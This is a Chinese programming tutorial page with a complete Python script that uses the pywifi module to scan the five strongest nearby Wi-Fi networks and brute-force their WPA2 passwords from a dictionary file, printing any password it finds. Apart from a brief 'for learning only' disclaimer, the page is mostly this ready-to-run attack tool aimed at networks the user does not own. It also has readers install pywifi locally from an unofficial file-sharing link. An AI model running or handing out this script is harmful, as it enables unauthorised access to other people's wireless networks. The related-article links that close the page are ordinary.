Python利用字典破解WIFI密碼的方法
最近看到網(wǎng)上的一些作品,然后進(jìn)行一些完善。只是用于學(xué)習(xí),不要去干壞事哦。程序來源于網(wǎng),我只是做了一些優(yōu)化。當(dāng)然這種方法破解還是有點(diǎn)慢哦。我用的python 3.6.5
既然要破解wifi,那么連接wifi的模塊首先要有的,我們要導(dǎo)入pywifi模塊。
有些同學(xué)可能沒有這個(gè),如果直接通過pip安裝的話,可能不能用,聽說這個(gè)wifi模塊被停用了,所以大家如果通過pip安裝的不行,那么就下載我提供的。
鏈接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg
本地安裝方法:
1)下載解壓好以后,我們用cmd命令行,進(jìn)入到你的文件目錄
2)使用命令pip install . 注意了(install后面有個(gè)點(diǎn))
3)然后就會(huì)安裝了,等一會(huì)就可以了。
程序先查找附近的WIFI,然后按信號(hào)強(qiáng)度進(jìn)行排序,然后只取前wificount=5個(gè)信號(hào)好的。
import pywifi from pywifi import const #引用一些定義 import time namelist = [] ssidlist = [] result = [] #存放查詢到的WIFI,密碼 wificount=5 #查詢附近信號(hào)最強(qiáng)的5個(gè)WIFI,最多5個(gè) def getwifi(): wifi=pywifi.PyWiFi()#抓取網(wǎng)卡接口 ifaces=wifi.interfaces()[0]#獲取網(wǎng)卡 ifaces.scan() time.sleep(8) bessis = ifaces.scan_results() list = [] for data in bessis: if(data.ssid not in namelist): #去掉重復(fù)的WIFI名稱 namelist.append(data.ssid) list.append((data.ssid, data.signal)) sorted(list, key=lambda st: st[1], reverse=True) time.sleep(1) n=0 if len(list) is not 0: for item in list: if(item[0] not in ssidlist): n=n+1 if n<=wificount: ssidlist.append(item[0]) print(ssidlist) def testwifi(ssidname,password): wifi=pywifi.PyWiFi()#抓取網(wǎng)卡接口 ifaces=wifi.interfaces()[0]#獲取網(wǎng)卡 ifaces.disconnect()#斷開無限網(wǎng)卡連接 profile=pywifi.Profile()#創(chuàng)建wifi連接文件 profile.ssid=ssidname#定義wifissid profile.auth=const.AUTH_ALG_OPEN#網(wǎng)卡的開放 profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 profile.cipher=const.CIPHER_TYPE_CCMP##加密單元 profile.key=password #wifi密碼 ifaces.remove_all_network_profiles()#刪除其他所有配置文件 tmp_profile=ifaces.add_network_profile(profile)#加載配置文件 ifaces.connect(tmp_profile)#連接wifi time.sleep(5)#5秒內(nèi)能否連接上 if ifaces.status()==const.IFACE_CONNECTED: return True else: #print("[-]WiFi connection failure!") return False #ifaces.disconnect()#斷開連接 #time.sleep(1) return True def main(): getwifi() #ssidlist = ['Oun'] #如果知道WIFI直接寫就行了。 if(len(ssidlist) is not 0): path=r"password.txt" files=open(path,'r') while True: if(len(ssidlist) is 0): break try: password =files.readline() password=password.strip('\n') if not password: break for item in result: #把已經(jīng)找到密碼的WIFI從查詢中刪除。 ssidlist.remove(item[0]) for ssidname in ssidlist: if(testwifi(ssidname,password)==True): result.append((ssidname,password)) #把找到的WIFI密碼保存起來 print('Succ','Current WifiName:',ssidname,'Current Password:',password) else: print('Fail','Current WifiName:',ssidname,'Current Password:',password) except: continue files.close() print("\n","WIFI結(jié)果列表:") for item in result: #把已經(jīng)找到密碼的WIFI從查詢中刪除。 print("") print("無線:",item[0]) print("密碼:",item[1]) else: print("沒有找到WIFI信號(hào),請(qǐng)重試。") if __name__ == '__main__': main()
總結(jié)
以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,謝謝大家對(duì)腳本之家的支持。如果你想了解更多相關(guān)內(nèi)容請(qǐng)查看下面相關(guān)鏈接
相關(guān)文章
Python采集代理ip并判斷是否可用和定時(shí)更新的方法
今天小編就為大家分享一篇Python采集代理ip并判斷是否可用和定時(shí)更新的方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2018-05-05Python輕松獲取網(wǎng)絡(luò)時(shí)間和本地時(shí)間技巧揭秘
這篇文章主要為大家介紹了Python輕松獲取網(wǎng)絡(luò)時(shí)間和本地時(shí)間技巧揭秘,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2024-01-01Python實(shí)現(xiàn)大樂透號(hào)碼隨機(jī)生成
全國(guó)有很多彩民,其中購(gòu)買最多的彩種分別是體彩大樂透和福彩雙色球。本篇文章將介紹Python實(shí)現(xiàn)彩票自由的全流程:隨機(jī)選取號(hào)碼+查看是否中獎(jiǎng),需要的可以參考一下2022-05-05Python re.findall中正則表達(dá)式(.*?)和參數(shù)re.S使用
本文主要介紹了Python re.findall中正則表達(dá)式(.*?)和參數(shù)re.S使用,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2022-08-08在jupyter notebook 添加 conda 環(huán)境的操作詳解
這篇文章主要介紹了在jupyter notebook 添加 conda 環(huán)境的操作詳解,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2020-04-04進(jìn)行數(shù)據(jù)處理的6個(gè)?Python?代碼塊分享
這篇文章主要介紹了進(jìn)行數(shù)據(jù)處理6個(gè)Python代碼塊的分享,分享內(nèi)容有選取有空值的行、快速替換列值、對(duì)列進(jìn)行分區(qū)、將一列分為多列等內(nèi)容,需要的朋友可以參考一下2022-04-04python實(shí)現(xiàn)車輛跟隨滑??刂频膶?shí)例
這篇文章主要介紹了python實(shí)現(xiàn)車輛跟隨滑??刂?采用指數(shù)趨近律、等速趨近律、準(zhǔn)滑??刂频姆椒ㄍ瓿绍囕v跟隨問題的仿真,運(yùn)行結(jié)果以圖片形式保存在同目錄下,需要的朋友可以參考下2022-05-05